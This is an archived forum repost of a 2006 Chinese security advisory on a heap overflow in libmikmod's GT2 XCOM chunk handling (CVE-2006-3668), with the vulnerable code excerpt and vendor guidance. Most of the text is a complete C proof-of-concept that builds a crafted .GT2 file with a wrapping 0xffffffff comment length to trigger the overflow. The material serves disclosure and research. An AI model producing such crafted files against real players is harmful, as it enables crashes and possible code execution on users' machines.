邪恶八进制信息安全团队技术讨论组's Archiver

睡猫 2006-8-3 00:46

[转载]Libmikmod XCOM处理器远程堆溢出漏洞

信息来源:绿盟科技

发布日期:2006-07-24
更新日期:2006-07-26

受影响系统:
mikmod libmikmod <= 3.2.2
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 19134
CVE(CAN) ID: CVE-2006-3668

libmikmod是Mikmod所使用的函数库,主要用于播放各种类型的音频模块。

libmikmod在处理XCOM对象时存在堆溢出漏洞,远程攻击者可能利用此漏洞在客户机器上执行任意指令。

在处理XCOM块时libmikmod读取了用于指定标注大小的32位数字,然后分配等于该大小加1的内存,以容纳标注末尾可能的空字节。因此如果攻击者使用了0xffffffff值(0xffffffff + 1 = 0)的话,函数库就可能分配0字节的内存。然后在试图读取大小值所指定的内存数量时,就会导致堆溢出。

loaders/load_gt2.c中的漏洞代码:

GT_CHUNK *loadChunk(void)
   ...
   if (!memcmp(new_chunk, "XCOM", 4)) {
      new_chunk->xcom.chunk_size = _mm_read_M_ULONG(modreader);
      new_chunk->xcom.comment_len = _mm_read_M_ULONG(modreader);
      new_chunk->xcom.comment = MikMod_malloc(new_chunk->xcom.comment_len + 1);
      _mm_read_UBYTES(new_chunk->xcom.comment, new_chunk->xcom.comment_len, modreader);
      return new_chunk;
   }
   ...

<*来源:Luigi Auriemma ([email]aluigi@pivx.com[/email])
  
  链接:[url]http://aluigi.altervista.org/adv/lmmgt2ho-adv.txt[/url]
      [url]http://secunia.com/advisories/21196/print/[/url]
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>



#define VER      "0.1"



#define cpy(x,y)   strncpy(x, y, sizeof(x));
void fwi08(FILE *fd, int num);
void fwi16(FILE *fd, int num);
void fwi32(FILE *fd, int num);
void fwstr(FILE *fd, uint8_t *str);
void fwmem(FILE *fd, uint8_t *data, int size);
void std_err(void);



#pragma pack(1)

typedef struct {
   uint8_t    gt2[3];
   uint8_t    version;
   uint32_t   chunk_size;
   uint8_t    module[32];
   uint8_t    comments[160];
   uint8_t    date_day;
   uint8_t    date_month;
   uint16_t   date_year;
   uint8_t    tracker[24];
   uint16_t   speed;
   uint16_t   tempo;
   uint16_t   volume;
   uint16_t   voices;
   /* voices * 2 */
} gt2_t;

#pragma pack()



int main(int argc, char *argv[]) {
   FILE   *fd;
   gt2_t  gt2;
   int    i;
   char   *fname;

   setbuf(stdout, NULL);

   fputs("\n"
      "libmikmod <= 3.2.2 and current CVS heap overflow with GT2 files "VER"\n"
      "by Luigi Auriemma\n"
      "e-mail: [email]aluigi@autistici.org[/email]\n"
      "web:   aluigi.org\n"
      "\n", stdout);

   if(argc < 2) {
      printf("\n"
        "Usage: %s <output_file.GT2>\n"
        "\n", argv[0]);
      exit(1);
   }

   fname = argv[1];

   printf("- create file %s\n", fname);
   fd = fopen(fname, "wb");
   if(!fd) std_err();

   gt2.gt2[0]      = &#39;G&#39;;
   gt2.gt2[1]      = &#39;T&#39;;
   gt2.gt2[2]      = &#39;2&#39;;
   gt2.version     = 4;
   gt2.chunk_size   = 0;            // unused
   cpy(gt2.module,  "module_name");
   cpy(gt2.comments, "author");
   gt2.date_day    = 1;
   gt2.date_month   = 1;
   gt2.date_year    = 2006;
   cpy(gt2.tracker,  "tracker");
   gt2.speed      = 6;
   gt2.tempo      = 300;
   gt2.volume      = 0;
   gt2.voices      = 0;

   printf("- write GT2 header\n");
   fwrite(&gt2, sizeof(gt2), 1, fd);
   for(i = 0; i < gt2.voices; i++) fwi16(fd, 0);

   printf("- build the XCOM header for exploiting the heap overflow\n");
   fwmem(fd, "XCOM", 4);
   fwi32(fd, 0);                  // unused
   fwi32(fd, 0xffffffff);            // bug here, 0xffffffff + 1 = 0
   fwstr(fd, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");

   fclose(fd);
   printf("- finished\n");
   return(0);
}



void fwi08(FILE *fd, int num) {
   fputc((num    ) & 0xff, fd);
}



void fwi16(FILE *fd, int num) {
   fputc((num    ) & 0xff, fd);
   fputc((num >>  8) & 0xff, fd);
}



void fwi32(FILE *fd, int num) {
   fputc((num    ) & 0xff, fd);
   fputc((num >>  8) & 0xff, fd);
   fputc((num >> 16) & 0xff, fd);
   fputc((num >> 24) & 0xff, fd);
}



void fwstr(FILE *fd, uint8_t *str) {
   fputs(str, fd);
}



void fwmem(FILE *fd, uint8_t *data, int size) {
   fwrite(data, size, 1, fd);
}



void std_err(void) {
   perror("\nError");
   exit(1);
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

mikmod
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

[url]http://www.mikmod.org/[/url]

页: [1]
© 1999-2008 EvilOctal Security Team